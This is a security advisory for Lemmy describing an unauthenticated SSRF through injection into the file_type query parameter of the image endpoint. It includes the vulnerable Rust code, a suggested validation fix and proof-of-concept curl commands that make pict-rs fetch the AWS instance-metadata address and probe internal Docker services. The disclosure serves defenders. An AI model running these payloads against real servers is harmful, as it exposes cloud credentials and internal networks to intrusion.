GHSA-jvxv-2jjp-jxc3 Lemmy has unauthenticated SSRF via file_type query parameter injection in image endpoint

• crates.io lemmy_routes: < 0.19.16 → fixed in 0.19.16

Summary The `GET /api/v4/image/{filename}` endpoint is vulnerable to unauthenticated SSRF through parameter injection in the `file_type` query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the `proxy` parameter which causes pict-rs to fetch arbitrary URLs. Affected code `crates/routes/src/images/download.rs`, lines 17-40 (`get_image` function): ```rust pub async fn get_image( filename: Path, Query(params): Query, req: HttpRequest, context: Data, ) -> LemmyResult { let name = &filename.into_inner(); let pictrs_url = context.settings().pictrs()?.url; let processed_url = if params.file_type.is_none() && params.max_size.is_none() { format!("{}image/original/{}", pictrs_url, name) } else { let file_type = file_type(params.file_type, name); let mut url = format!("{}image/process.{}?src={}", pictrs_url, file_type, name); // ... }; do_get_image(processed_url, req, &context).await } ``` The `file_type` parameter (`ImageGetParams.file_type: Option`) is directly interpolated into the URL string without any validation or encoding. Since pict-rs's `/image/process.{ext}` endpoint supports a `?proxy={url}` parameter for fetching remote images, an attacker can inject `?proxy=...` via `file_type` to make pict-rs fetch arbitrary URLs. This endpoint does not require authentication (no `LocalUserView` extractor). PoC ```bash Basic SSRF - make pict-rs fetch AWS metadata endpoint The file_type value is: jpg?proxy=http://169.254.169.254/latest/meta-data&x= This constructs: http://pictrs:8080/image/process.jpg?proxy=http://169.254.169.254/latest/meta-data&x=?src=anything curl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%26x%3D' Scan internal services on the Docker network curl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2Flemmy%3A8536%2Fapi%2Fv4%2Fsite%26x%3D' The same issue exists in the image_proxy endpoint, but it requires the proxy URL to exist in the remote_image table (RemoteImage::validate check), making it harder to exploit. ``` The response from the internal URL is streamed back to the attacker through pict-rs and Lemmy. Impact An unauthenticated attacker can: • Access cloud metadata services (AWS/GCP/Azure instance metadata) from the pict-rs service • Scan and interact with internal services on the Docker network (pict-rs is typically co-located with Lemmy, PostgreSQL, etc.) • Bypass the `RemoteImage::validate()` check that protects the `image_proxy` endpoint Suggested Fix Validate the `file_type` parameter to only allow alphanumeric characters: ```rust fn file_type(file_type: Option, name: &str) -> String { let ft = file_type .unwrap_or_else(|| name.split('.').next_back().unwrap_or("jpg").to_string()); if ft.chars().all(|c| c.is_alphanumeric()) { ft } else { "jpg".to_string() } } ```